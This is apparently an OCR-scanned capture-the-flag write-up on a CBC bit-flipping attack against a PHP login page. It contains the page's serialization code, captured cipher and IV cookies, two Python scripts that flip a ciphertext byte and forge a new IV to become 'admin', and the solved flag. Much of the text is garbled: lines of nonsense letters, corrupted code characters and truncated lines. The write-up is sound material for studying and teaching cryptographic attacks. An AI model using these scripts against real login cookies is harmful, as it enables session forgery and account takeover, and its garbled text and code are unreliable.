<input name="username" type="text" class="input username" value="Username" o
<input name="password" type="password" class="input password" value="Passwor
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>";
}
}
?>
</html>

PAARARNLWWWWWWWWWWRRNRNRNNNNNNN S A A a3
RONZTOOONOTRONIZIOOONODTRDN-CCOOVNODTRRXRN AN RGN =



45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
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104

B B cbeE W kW, MHERMA T REFEEKCBC, HARMNTEBRMBACES I, RFEBSRFE—
BREBASCHEINR W, EBSIVIEBI A, X B # A CBCAE X AES N &



RIERAZ A

username=admiN&password=2333

RIEHRE|—HH

Set-Cookie: iv=yyUX9QHx8bJ5C15saSEj0Q%3D%3D
Set-Cookie: cipher=gYRvwWMSQ3FKS9K%2FRx%2Fqd8X6xgSaRWzCAU9DgrdbePuggMey jwWLUQNr32uCnCP1%2F1n1Cx8fmy3J

—_

BA1E C 54 phpfE 2 LhrH BB B K41

<?php
$username = (string)$_POST[ 'username'];
$password = (string)$_ POST[ 'password'];
$info = array('username'=>$username, 'password’'=>$password);
$plain = serialize($info);
echo $plain;
?>

ONO O OWON -

BEKFIMLEI6N—AHIT

a:2:{s:8:"userna

me";s:5:"admiN";

s:8:"password";s
:4:"2333";%

~AON -

BAVEBEEE —HRINZR N, A EBEEE —HX R, BRI



#!/usr/bin/env python
import requests,string,hashlib,re,base64,urllib
url="http://47.93.190.246:49168/"
iv=base64.b64decode(urllib.unquote("yyUX9QHx8bJ5C15saSEj0Q%3D%3D"))
cipher=base64.b64decode(urllib.unquote("gYRVWMSQ3FKS9K%2FRx%2Fqd8X6xgSaRWzCAU9DgrdbePuggMeyjwWLUQNr3
#cipher[13]=chr(ord(cipher[13])”ord('N')~ord('n"))
ciphernew=cipher[0:13]+chr(ord(cipher[13])”ord('N')”ord('n"))+cipher[14:]
print urllib.quote(base64.b64encode(ciphernew))

ONO TR WN -

SR 5 FAT18 BlcookiefE in T

Cookie:
td_cookie=18446744071856012820;
PHPSESSID=61jmdqqmb7dnrhl6dp3ipg3b87;
cipher=gYRvwMSQ3FKS9K/Rx9qd8X6xgSaRWzCAUSDgrdbePuggMey jwWLUQNr32uCnCP1l/1n1Cx8fmWyJSdd18FKY1tA%3D%3D;
iv=yyUX9QHx8bJ5C15saSEj0OQ%3D%3D;

A wWN -

RIEBATAT LAS Blaesff# JE IHISC, HRXA RIS —ERERE, PRRTFILE, TATENHZXAE
B 3B eivik IR 3 L Th 2R

S(document) . ready(function() {
S5(".username") .focus{function() {
5(".user-icon") .css("left" ,"-48px") ;
b
S5(" .username" ) .blur({function() {
S(".user-icon") .css("left","0px") ;

1

5(" .password") .focus({function() {
S(".pass—-icon") .css("left" ,"-48px") ;
1
5(".password") .blur(function() {
5(".pass-icon") .css("left" ,"0px") ;
b
1
</scripts
</ heads>

<p>hase6d decode( ' ¥£/TTTXznECK3ApJ 50PF 0m11I]tz03 U6 ImFkbWlulitz03
g6InBhc3N3b3TkIjtz03061jIzM=zMi030=') can't wnserialize</p>

B, ®ANE\RTEA

YF/7T7XZnECK3ApI50PFQm11Itz0jU6 IMFkbWluIjtz0jg6InBhc3N3b3IkIjtz0jQ6IjIzMzMi030=



base64n% J5 laesf@ % “BASC”, REBRMNVFELIE—T

LS N R =

g1 ff b 4f  bS 3 9c 40 Ba dc 0a 49 ef 83 & 42 ayiOpsD@OUl=DAB
6d 65 22 3b 73 3a 35 3a 22 61 64 6&6d 69 Ge 22 3b me"s:5"admin”;

73 3a 38 3a 22 70 61 73 73 77 e 72 64 22
Ja 34 3a 22 32 33 33 33 22 3 Td - - -

BMNBIWECLRI T, RERREH— THHKINVET !

import requests,string,hashlib,re,base64,urllib
iv=base64.b64decode(urllib.unquote("yyUX9QHx8bJ5C15saSEj0Q%3D%3D"))
text=base64.b64decode(urllib.unquote("Yf/7T7XznECK3ApI50PFQmM11Ijtz0jU6ImFkbWluIljtz0jg6InBhc3N3b3IkIj
newiv=""
want='a:2:{s:8:"userna’
for i in range(16):
newiv+=chr(ord(want[i])”~ord(text[i])~ord(iv[i]))

print urllib.quote(base64.b64encode(newiv))

O©CoOoO~NOOO PN -

RIGm B EIflag THE.. 2%

SKCTF{CBC_wEB_cryptography_6646dfgdg6}
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